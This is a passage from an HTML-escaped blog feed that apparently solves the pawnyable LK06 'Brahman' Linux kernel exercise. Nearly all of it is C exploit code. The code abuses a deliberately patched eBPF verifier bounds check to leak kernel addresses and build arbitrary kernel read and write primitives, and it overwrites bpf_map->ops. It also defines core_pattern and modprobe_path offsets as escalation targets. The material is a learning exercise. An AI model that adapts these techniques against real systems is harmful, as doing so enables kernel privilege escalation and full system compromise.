                    0xf2 - 1),  // arg4 = (0xf2-1) * arg4 == (actual_val=0xf2-1;
                                // val=0, mask=0)
      BPF_ALU64_IMM(
          BPF_ADD, BPF_REG_ARG4,
          1),  // arg4 = arg4 + 1 == (actual_val=0xf2; val=0x1, mask=0)
      // skb_load_bytes(skb, 0, fp-0x20, (actual_val=0xf2; val=0x1, mask=0))
      BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),  // fp-0x18 = addr

      BPF_MOV64_IMM(BPF_REG_0, 0),
      BPF_EXIT_INSN(),
  };

  union bpf_attr prog_attr = {
      .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
      .insn_cnt = sizeof(insns) / sizeof(insns[0]),
      .insns = (uint64_t)insns,
      .license = (uint64_t)&amp;#34;GPL v2&amp;#34;,
      .log_level = 2,
      .log_size = sizeof(verifier_log),
      .log_buf = (uint64_t)verifier_log,
  };

  int progfd = bpf(BPF_PROG_LOAD, &amp;amp;prog_attr);
  if (progfd &amp;lt; 0) {
    puts(&amp;#34;============[failed reason]============&amp;#34;);
    printf(&amp;#34;%s\n&amp;#34;, verifier_log);
    fatal(&amp;#34;bpf(BPF_PROG_LOAD)&amp;#34;);
  }

  int socks[2];
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) {
    fatal(&amp;#34;socketpair&amp;#34;);
  }
  if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &amp;amp;progfd, sizeof(int))) {
    fatal(&amp;#34;setsockopt&amp;#34;);
  }

  char buf[0x100] = {
      0,
  };
  // Overwrite low byte of bpf_map-&amp;gt;ops
  // (https://elixir.bootlin.com/linux/v5.18.14/source/include/linux/bpf.h#L63)
  uint16_t ops_containing_ret_offset =
      (OPS_CONTAINING_RET_OFFSET - 8 * BPF_MAP_OPS_UPDATE_ELEM_IDX) &amp;amp; 0xffff;
  printf(&amp;#34;ops_containing_ret_offset: 0x%x\n&amp;#34;, ops_containing_ret_offset);
  *(uint16_t*)(&amp;amp;buf[0xf0]) = ops_containing_ret_offset;
  write(socks[1], buf, sizeof(buf));

  close(socks[0]);
  close(socks[1]);
  close(progfd);
}

int corrupted_map_fd;
uint64_t jit_addr;
void find_corrupted_map_and_leak_bpf_map_addr() {
  char verifier_log[0x10000];

  for (int i = 0; i &amp;lt; sizeof(map_spray_fd) / 4; ++i) {
    int cur_map_fd = map_spray_fd[i];
    if (cur_map_fd == mapfd) {
      continue;
    }

    // uint64_t map_val = 0;
    // int ret = bpf_map_update(cur_map_fd, 0, &amp;amp;map_val);
    // printf(&amp;#34;ret: 0x%x, val: 0x%lx\n&amp;#34;, ret, map_val);

    struct bpf_insn insns[] = {
        // BPF_REG_ARG1 == struct __sk_buff
        BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_ARG1,
                    -0x08),  // *(u64*)(fp-0x08) = skb

        // arg1(mapfd)
        BPF_LD_MAP_FD(BPF_REG_ARG1, cur_map_fd),
        // arg2(&amp;amp;key) = fp-0x10 &amp;lt;- 0
        BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x10, 0),
        BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x10),
        // arg3(&amp;amp;val) = fp-0x10 &amp;lt;- 0
        BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_ARG2),
        // arg4(flags)
        BPF_MOV64_IMM(BPF_REG_ARG4, 0),
        // map_update_elem(mapfd, fp-0x10, fp-0x10, 0) or map_lookup_elem(mapfd,
        // fp-0x10) if corrupted
        BPF_EMIT_CALL(BPF_FUNC_map_update_elem),
        BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_0, -0x18),

        // arg1(mapfd)
        BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
        // arg2(&amp;amp;key) = fp-0x10 &amp;lt;- 0
        BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x10, 0),
        BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x10),
        // arg3(&amp;amp;val) = fp-0x18 &amp;lt;- return value of map_update_elem or
        // map_lookup_elem.
        BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x18),
        // arg4(flags)
        BPF_MOV64_IMM(BPF_REG_ARG4, 0),
        // map_update_elem(mapfd, fp-0x10, fp-0x18, 0)
        BPF_EMIT_CALL(BPF_FUNC_map_update_elem),

        BPF_MOV64_IMM(BPF_REG_0, 0),
        BPF_EXIT_INSN(),
    };

    union bpf_attr prog_attr = {
        .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
        .insn_cnt = sizeof(insns) / sizeof(insns[0]),
        .insns = (uint64_t)insns,
        .license = (uint64_t)&amp;#34;GPL v2&amp;#34;,
        .log_level = 2,
        .log_size = sizeof(verifier_log),
        .log_buf = (uint64_t)verifier_log,
    };

    int progfd = bpf(BPF_PROG_LOAD, &amp;amp;prog_attr);
    if (progfd &amp;lt; 0) {
      puts(&amp;#34;============[failed reason]============&amp;#34;);
      printf(&amp;#34;%s\n&amp;#34;, verifier_log);
      fatal(&amp;#34;bpf(BPF_PROG_LOAD)&amp;#34;);
    }

    int socks[2];
    if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) {
      fatal(&amp;#34;socketpair&amp;#34;);
    }
    if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &amp;amp;progfd, sizeof(int))) {
      fatal(&amp;#34;setsockopt&amp;#34;);
    }

    write(socks[1], &amp;#34;Hello&amp;#34;, 5);

    uint64_t val;
    bpf_map_lookup(mapfd, 0, &amp;amp;val);

    close(socks[0]);
    close(socks[1]);
    close(progfd);

    if (val != 0) {
      jit_addr = val;
      corrupted_map_fd = cur_map_fd;
      return;
    }
  }
}

uint64_t aaw64(uint64_t addr, uint64_t val) {
  char verifier_log[0x10000];

  uint64_t map_val = 1;
  bpf_map_update(mapfd, 0, &amp;amp;map_val);

  struct bpf_insn insns[] = {
      // BPF_REG_ARG1 == struct __sk_buff
      BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_ARG1,
                  -0x08),  // *(u64*)(fp-0x08) = skb

      // arg1(mapfd)
      BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
      // arg2(key) = fp-0x10
      BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x10, 0),
      BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x10),
      // call map_lookup_elem(mapfd, &amp;amp;key(-&amp;gt;0))
      BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
      BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
      BPF_EXIT_INSN(),

      BPF_MOV64_REG(BPF_REG_6, BPF_REG_0),  // r6 = r0 == map_elem
      BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0,
                  0),  // r7 = [r0] == (val=1, mask=0xffffffffffffffff)
      BPF_MOV64_REG(BPF_REG_1, BPF_REG_7),  // r1 = r7
      BPF_ALU64_IMM(BPF_RSH, BPF_REG_1,
                    32),  // r1 = (val=0, mask=0x00000000ffffffff)
      BPF_ALU64_IMM(BPF_LSH, BPF_REG_1,
                    32),  // r1 = (val=0, mask=0xffffffff00000000)

      BPF_MOV64_IMM(BPF_REG_2, 0x00000000fffffffe),  // r2 = 0x00000000fffffffe
      BPF_ALU64_IMM(BPF_LSH, BPF_REG_2,
                    32),  // r2 = (val=0xfffffffe00000000, mask=0)
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_2,
                    1),  // r2 = (val=0xfffffffe00000001, mask=0)

      // When r1|=r2, r1 = (val=r1.val|r2.val, mask=(r1.mask|r2.mask) &amp;amp;
      // (~this.val)).
      // And if r1.mask == (u64)0, __mark_reg_known -&amp;gt;
      // ___mark_reg_known is called.
      // By this calling then r1&amp;#39;s min and max will be imm.
      // Because (~0xffffffff00000001) &amp;amp; 0xffffffff00000000 == 0 and
      // (~0xfffffffe00000001) &amp;amp; 0xffffffff00000000 == 0x100000000, we must use
      // BPF_MOV64_IMM(BPF_REG_2, 0x00000000fffffffe).
      BPF_ALU64_REG(BPF_OR, BPF_REG_1,
                    BPF_REG_2),  // r1 = (s32_min=1, s32_max=0, u32_min=1,
                                 // u32_max=0).
      BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),  // r1(w1) = (s32_min=1, s32_max=0,
                                            // u32_min=1, u32_max=0).

      BPF_MOV64_REG(
          BPF_REG_2,
          BPF_REG_7),  // r2 = r7 == [r0] == (val=1, mask=0xffffffffffffffff)
      BPF_ALU64_IMM(BPF_AND, BPF_REG_2,
                    0x1),  // r2 = (val=1, mask=0x1)
      BPF_ALU64_REG(BPF_ADD, BPF_REG_1,
                    BPF_REG_2),  // r1 = r1 + r2 == (actual_val = 2; s32_min=1,
                                 // s32_max=1, u32_min=1, u32_max=1) ==
                                 // (actual_val=2; val=1, mask=0)
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_1,
                    -1),  // r1 = r1 + -1 == (actual_val=1; val=0, mask=0)
      BPF_MOV64_REG(BPF_REG_8,
                    BPF_REG_1),  // r8 = r1 == (actual_val=1; val=0, mask=0)

      // arg1(skb)
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG1, BPF_REG_FP, -0x08),
      // arg2(offset)
      BPF_MOV64_IMM(BPF_REG_ARG2, 0),
      // arg3(to) = fp-0x20
      BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP),      // arg3 = fp
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x20),  // arg3 = arg3(fp)-0x20
      BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_ARG3,
                  -0x18),  // *(u64*)(fp-0x18) = arg3 == fp-0x20
      // arg4(len)
      BPF_MOV64_REG(BPF_REG_ARG4,
                    BPF_REG_8),  // arg4 = r8 == (actual_val=1; val=0, mask=0)
      BPF_ALU64_IMM(
          BPF_MUL, BPF_REG_ARG4,
          0x10 - 1),  // arg4 = 0x0f * arg4 == (actual_val=0x0f; val=0, mask=0)
      BPF_ALU64_IMM(
          BPF_ADD, BPF_REG_ARG4,
          1),  // arg4 = arg4 + 1 == (actual_val=0x10; val=0x1, mask=0)
      // skb_load_bytes(skb, 0, fp-0x20, (actual_val=0x10; val=0x1, mask=0))
      BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),  // fp-0x18 = addr

      // arg1(skb)
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG1, BPF_REG_FP, -0x08),
      // arg2(offset)
      BPF_MOV64_IMM(BPF_REG_ARG2, 0x10),
      // arg3(to) = addr
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG3, BPF_REG_FP,
                  -0x18),  // arg3 = fp-0x18 == addr
      // arg4(len)
      BPF_MOV64_IMM(BPF_REG_ARG4, 8),
      // skb_load_bytes(skb, 0x10, addr, 8)
      BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),

      BPF_MOV64_IMM(BPF_REG_0, 0),
      BPF_EXIT_INSN(),
  };

  union bpf_attr prog_attr = {
      .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
      .insn_cnt = sizeof(insns) / sizeof(insns[0]),
      .insns = (uint64_t)insns,
      .license = (uint64_t)&amp;#34;GPL v2&amp;#34;,
      .log_level = 2,
      .log_size = sizeof(verifier_log),
      .log_buf = (uint64_t)verifier_log,
  };

  int progfd = bpf(BPF_PROG_LOAD, &amp;amp;prog_attr);
  if (progfd &amp;lt; 0) {
    puts(&amp;#34;============[failed reason]============&amp;#34;);
    printf(&amp;#34;%s\n&amp;#34;, verifier_log);
    fatal(&amp;#34;bpf(BPF_PROG_LOAD)&amp;#34;);
  }

  int socks[2];
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) {
    fatal(&amp;#34;socketpair&amp;#34;);
  }
  if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &amp;amp;progfd, sizeof(int))) {
    fatal(&amp;#34;setsockopt&amp;#34;);
  }

  uint64_t buf[] = {0xdeadbeefcafebebe, addr, val};
  write(socks[1], buf, sizeof(buf));

  close(socks[0]);
  close(socks[1]);
  close(progfd);

  return buf[0];
}
uint64_t aar64(uint64_t addr) {
  char verifier_log[0x10000];

  uint64_t map_val = 1;
  bpf_map_update(mapfd, 0, &amp;amp;map_val);

  struct bpf_insn insns[] = {
      // BPF_REG_ARG1 == struct __sk_buff
      BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_ARG1,
                  -0x08),  // *(u64*)(fp-0x08) = skb

      // arg1(mapfd)
      BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
      // arg2(key) = fp-0x10
      BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x10, 0),
      BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x10),
      // call map_lookup_elem(mapfd, &amp;amp;key(-&amp;gt;0))
      BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
      BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
      BPF_EXIT_INSN(),

      BPF_MOV64_REG(BPF_REG_6, BPF_REG_0),  // r6 = r0 == map_elem
      BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0,
                  0),  // r7 = [r0] == (val=1, mask=0xffffffffffffffff)
      BPF_MOV64_REG(BPF_REG_1, BPF_REG_7),  // r1 = r7
      BPF_ALU64_IMM(BPF_RSH, BPF_REG_1,
                    32),  // r1 = (val=0, mask=0x00000000ffffffff)
      BPF_ALU64_IMM(BPF_LSH, BPF_REG_1,
                    32),  // r1 = (val=0, mask=0xffffffff00000000)

      BPF_MOV64_IMM(BPF_REG_2, 0x00000000fffffffe),  // r2 = 0x00000000fffffffe
      BPF_ALU64_IMM(BPF_LSH, BPF_REG_2,
                    32),  // r2 = (val=0xfffffffe00000000, mask=0)
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_2,
                    1),  // r2 = (val=0xfffffffe00000001, mask=0)

      // When r1|=r2, r1 = (val=r1.val|r2.val, mask=(r1.mask|r2.mask) &amp;amp;
      // (~this.val)).
      // And if r1.mask == (u64)0, __mark_reg_known -&amp;gt;
      // ___mark_reg_known is called.
      // By this calling then r1&amp;#39;s min and max will be imm.
      // Because (~0xffffffff00000001) &amp;amp; 0xffffffff00000000 == 0 and
      // (~0xfffffffe00000001) &amp;amp; 0xffffffff00000000 == 0x100000000, we must use
      // BPF_MOV64_IMM(BPF_REG_2, 0x00000000fffffffe).
      BPF_ALU64_REG(BPF_OR, BPF_REG_1,
                    BPF_REG_2),  // r1 = (s32_min=1, s32_max=0, u32_min=1,
                                 // u32_max=0).
      BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),  // r1(w1) = (s32_min=1, s32_max=0,
                                            // u32_min=1, u32_max=0).

      BPF_MOV64_REG(
          BPF_REG_2,
          BPF_REG_7),  // r2 = r7 == [r0] == (val=1, mask=0xffffffffffffffff)
      BPF_ALU64_IMM(BPF_AND, BPF_REG_2,
                    0x1),  // r2 = (val=1, mask=0x1)
      BPF_ALU64_REG(BPF_ADD, BPF_REG_1,
                    BPF_REG_2),  // r1 = r1 + r2 == (actual_val = 2; s32_min=1,
                                 // s32_max=1, u32_min=1, u32_max=1) ==
                                 // (actual_val=2; val=1, mask=0)
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_1,
                    -1),  // r1 = r1 + -1 == (actual_val=1; val=0, mask=0)
      BPF_MOV64_REG(BPF_REG_8,
                    BPF_REG_1),  // r8 = r1 == (actual_val=1; val=0, mask=0)

      // arg1(skb)
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG1, BPF_REG_FP, -0x08),
      // arg2(offset)
      BPF_MOV64_IMM(BPF_REG_ARG2, 0),
      // arg3(to) = fp-0x20
      BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP),      // arg3 = fp
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x20),  // arg3 = arg3(fp)-0x20
      BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_6,
                  -0x18),  // *(u64*)(fp-0x18) = arg3 == fp-0x20
      // arg4(len)
      BPF_MOV64_REG(BPF_REG_ARG4,
                    BPF_REG_8),  // arg4 = r8 == (actual_val=1; val=0, mask=0)
      BPF_ALU64_IMM(
          BPF_MUL, BPF_REG_ARG4,
          0x10 - 1),  // arg4 = 0x0f * arg4 == (actual_val=0x0f; val=0, mask=0)
      BPF_ALU64_IMM(
          BPF_ADD, BPF_REG_ARG4,
          1),  // arg4 = arg4 + 1 == (actual_val=0x10; val=0x1, mask=0)
      // skb_load_bytes(skb, 0, fp-0x20, (actual_val=0x10; val=0x1, mask=0))
      BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),  // fp-0x18 = addr

      // arg1(mapfd)
      BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
      // arg2(&amp;amp;key)
      BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x10),
      // arg3(&amp;amp;val)
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG3, BPF_REG_FP, -0x18),
      // arg4(flags)
      BPF_MOV64_IMM(BPF_REG_ARG4, 0),
      // map_update_elem(mapfd, &amp;amp;key, &amp;amp;val, 0)
      BPF_EMIT_CALL(BPF_FUNC_map_update_elem),

      BPF_MOV64_IMM(BPF_REG_0, 0),
      BPF_EXIT_INSN(),
  };

  union bpf_attr prog_attr = {
      .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
      .insn_cnt = sizeof(insns) / sizeof(insns[0]),
      .insns = (uint64_t)insns,
      .license = (uint64_t)&amp;#34;GPL v2&amp;#34;,
      .log_level = 2,
      .log_size = sizeof(verifier_log),
      .log_buf = (uint64_t)verifier_log,
  };

  int progfd = bpf(BPF_PROG_LOAD, &amp;amp;prog_attr);
  if (progfd &amp;lt; 0) {
    puts(&amp;#34;============[failed reason]============&amp;#34;);
    printf(&amp;#34;%s\n&amp;#34;, verifier_log);
    fatal(&amp;#34;bpf(BPF_PROG_LOAD)&amp;#34;);
  }

  int socks[2];
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) {
    fatal(&amp;#34;socketpair&amp;#34;);
  }
  if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &amp;amp;progfd, sizeof(int))) {
    fatal(&amp;#34;setsockopt&amp;#34;);
  }

  uint64_t buf[] = {0xdeadbeefcafebebe, addr};
  write(socks[1], buf, sizeof(buf));
  bpf_map_lookup(mapfd, 0, &amp;amp;map_val);

  close(socks[0]);
  close(socks[1]);
  close(progfd);

  return map_val;
}

uint64_t jit_addr = 0;

int main() {
  srand(time(NULL));
  char verifier_log[0x10000];

  make_corrupted_map();
  find_corrupted_map_and_leak_bpf_map_addr();

  if (corrupted_map_fd == 0) {
    puts(&amp;#34;[-] Failed to find corrupted bpf_map&amp;#34;);
    return -1;
  }
  printf(&amp;#34;[+] mapfd: %d\n&amp;#34;, mapfd);
  printf(&amp;#34;[+] corrupted_map_fd: %d\n&amp;#34;, corrupted_map_fd);
  printf(&amp;#34;[+] jit_addr: 0x%016lx\n&amp;#34;, jit_addr);

  get_enter_to_continue(&amp;#34;Press enter to exit(cause kernel crash)...&amp;#34;);

  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2 id=&#34;refernece&#34;&gt;Refernece&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://pawnyable.cafe/linux-kernel/LK06/ebpf.html&#34;&gt;https://pawnyable.cafe/linux-kernel/LK06/ebpf.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://pawnyable.cafe/linux-kernel/LK06/verifier.html&#34;&gt;https://pawnyable.cafe/linux-kernel/LK06/verifier.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://pawnyable.cafe/linux-kernel/LK06/exploit.html&#34;&gt;https://pawnyable.cafe/linux-kernel/LK06/exploit.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <content>&lt;hr&gt;
&lt;h2 id=&#34;lk06-brahman&#34;&gt;LK06: Brahman&lt;/h2&gt;
&lt;h3 id=&#34;exploit-using-adjust_ptr_min_max_vals&#34;&gt;Exploit using adjust_ptr_min_max_vals&lt;/h3&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;149628537&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;149628537&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;exploit.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;// Patch location:
//    https://elixir.bootlin.com/linux/v5.18.14/source/kernel/bpf/verifier.c#L7957
// Diff:
//    7957c7957,7958
//    &amp;lt;               __mark_reg32_known(dst_reg, var32_off.value);
//    ---
//    &amp;gt;               // `scalar_min_max_or` will handler the case
//    &amp;gt;               //__mark_reg32_known(dst_reg, var32_off.value);

#include &amp;lt;asm-generic/socket.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;linux/bpf.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/socket.h&amp;gt;
#include &amp;lt;sys/syscall.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;time.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#include &amp;#34;bpf_insn.h&amp;#34;

#define KERNEL_BASE 0xffffffff81000000
#define BPF_MAP_OPS_OFFSET (0xffffffff81c124a0 - KERNEL_BASE)
#define CORE_PATTERN_OFFSET (0xffffffff81eb25e0 - KERNEL_BASE)
#define MODPROB_OFFSET (0xffffffff81e37fe0 - KERNEL_BASE)

void get_enter_to_continue(const char* msg) {
  puts(msg);
  getchar();
}

void fatal(const char* msg) {
  perror(msg);
  // get_enter_to_continue(&amp;#34;Press enter to exit...&amp;#34;);
  exit(-1);
}

int bpf(int cmd, union bpf_attr* attrs) {
  return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}

int bpf_map_create(int val_size, int max_entries) {
  union bpf_attr attr = {
      .map_type = BPF_MAP_TYPE_ARRAY,
      .key_size = sizeof(int),
      .value_size = val_size,
      .max_entries = max_entries,
  };

  int map_fd = bpf(BPF_MAP_CREATE, &amp;amp;attr);
  if (map_fd &amp;lt; 0) {
    fatal(&amp;#34;bpf(BPF_MAP_CREATE)&amp;#34;);
  }

  return map_fd;
}
int bpf_map_update(int map_fd, int key, void* pval) {
  union bpf_attr attr = {
      .map_fd = map_fd,
      .key = (uint64_t)&amp;amp;key,
      .value = (uint64_t)pval,
      .flags = BPF_ANY,
  };

  int res = bpf(BPF_MAP_UPDATE_ELEM, &amp;amp;attr);
  if (res &amp;lt; 0) {
    fatal(&amp;#34;bpf(BPF_MAP_UPDATE_ELEM)&amp;#34;);
  }

  return res;
}
int bpf_map_lookup(int map_fd, int key, void* pval) {
  union bpf_attr attr = {
      .map_fd = map_fd,
      .key = (uint64_t)&amp;amp;key,
      .value = (uint64_t)pval,
      .flags = BPF_ANY,
  };

  return bpf(BPF_MAP_LOOKUP_ELEM, &amp;amp;attr);
}

int mapfd = -1;
uint64_t leak_bpf_map_addr() {
  char verifier_log[0x10000];

  uint64_t val = 0;
  bpf_map_update(mapfd, 0, &amp;amp;val);

  struct bpf_insn insns[] = {
      // arg1(mapfd)
      BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
      // arg2(key) = fp-0x08
      BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x08, 0),
      BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x08),
      // call map_lookup_elem(mapfd, &amp;amp;key(-&amp;gt;0))
      BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
      BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
      BPF_EXIT_INSN(),

      BPF_MOV64_REG(BPF_REG_6, BPF_REG_0),           // r6 = r0
      BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),  // r7 = [r0]
      BPF_MOV64_REG(BPF_REG_1, BPF_REG_7),           // r1 = r7
      BPF_ALU64_IMM(BPF_RSH, BPF_REG_1,
                    32),  // r1 = (val=0, mask=0x00000000ffffffff)
      BPF_ALU64_IMM(BPF_LSH, BPF_REG_1,
                    32),  // r1 = (val=0, mask=0xffffffff00000000)

      BPF_MOV64_IMM(BPF_REG_2, 0x00000000fffffffe),  // r2 = 0x00000000fffffffe
      BPF_ALU64_IMM(BPF_LSH, BPF_REG_2,
                    32),  // r2 = (val=0xfffffffe00000000, mask=0)
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_2,
                    1),  // r2 = (val=0xfffffffe00000001, mask=0)

      // When r1|=r2, r1 = (val=r1.val|r2.val, mask=(r1.mask|r2.mask) &amp;amp;
      // (~this.val)).
      // And if r1.mask == (u64)0, __mark_reg_known -&amp;gt;
      // ___mark_reg_known is called.
      // By this calling then r1&amp;#39;s min and max will be imm.
      // Because (~0xffffffff00000001) &amp;amp; 0xffffffff00000000 == 0 and
      // (~0xfffffffe00000001) &amp;amp; 0xffffffff00000000 == 0x100000000, we must use
      // BPF_MOV64_IMM(BPF_REG_2, 0x00000000fffffffe).
      BPF_ALU64_REG(BPF_OR, BPF_REG_1,
                    BPF_REG_2),  // r1 = (s32_min=1, s32_max=0, u32_min=1,
                                 // u32_max=0).

      BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),           // r1(w1) = w1(r1)
      BPF_MOV64_REG(BPF_REG_0, BPF_REG_6),           // r0 = r6
      BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_1),  // r0 += r1
      BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_0,
                  -0x10),  // *(u64*)(fp-0x10) = r0
      // arg1(mapfd)
      BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
      // arg2(&amp;amp;key) = fp-0x08
      BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x08, 0),     // *(u64*)(fp-0x08) = 0
      BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),      // arg2 = fp
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x08),  // arg2 = arg2(fp)-0x08
      // arg3(&amp;amp;val) = fp-0x10
      BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP),      // arg3 = fp
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x10),  // arg3 = arg3(fp)-0x10
      // arg4(flags)
      BPF_MOV64_IMM(BPF_REG_ARG4, 0),  // arg4 = 0
      // map_update_elem(mapfd, &amp;amp;key, &amp;amp;val, 0)
      BPF_EMIT_CALL(BPF_FUNC_map_update_elem),

      BPF_MOV64_IMM(BPF_REG_0, 0),
      BPF_EXIT_INSN(),
  };

  union bpf_attr prog_attr = {
      .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
      .insn_cnt = sizeof(insns) / sizeof(insns[0]),
      .insns = (uint64_t)insns,
      .license = (uint64_t)&amp;#34;GPL v2&amp;#34;,
      .log_level = 2,
      .log_size = sizeof(verifier_log),
      .log_buf = (uint64_t)verifier_log,
  };

  int progfd = bpf(BPF_PROG_LOAD, &amp;amp;prog_attr);
  if (progfd &amp;lt; 0) {
    puts(&amp;#34;============[failed reason]============&amp;#34;);
    printf(&amp;#34;%s\n&amp;#34;, verifier_log);
    fatal(&amp;#34;bpf(BPF_PROG_LOAD)&amp;#34;);
  }

  int socks[2];
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) {
    fatal(&amp;#34;socketpair&amp;#34;);
  }
  if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &amp;amp;progfd, sizeof(int))) {
    fatal(&amp;#34;setsockopt&amp;#34;);
  }

  write(socks[1], &amp;#34;Hello&amp;#34;, 5);

  bpf_map_lookup(mapfd, 0, &amp;amp;val);

  close(socks[0]);
  close(socks[1]);
  close(progfd);

  return val - 1 - 0x110;
}

uint64_t aaw64(uint64_t addr, uint64_t val) {
  char verifier_log[0x10000];

  uint64_t map_val = 1;
  bpf_map_update(mapfd, 0, &amp;amp;map_val);

  struct bpf_insn insns[] = {
      // BPF_REG_ARG1 == struct __sk_buff
      BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_ARG1,
                  -0x08),  // *(u64*)(fp-0x08) = skb

      // arg1(mapfd)
      BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
      // arg2(key) = fp-0x10
      BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x10, 0),
      BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x10),
      // call map_lookup_elem(mapfd, &amp;amp;key(-&amp;gt;0))
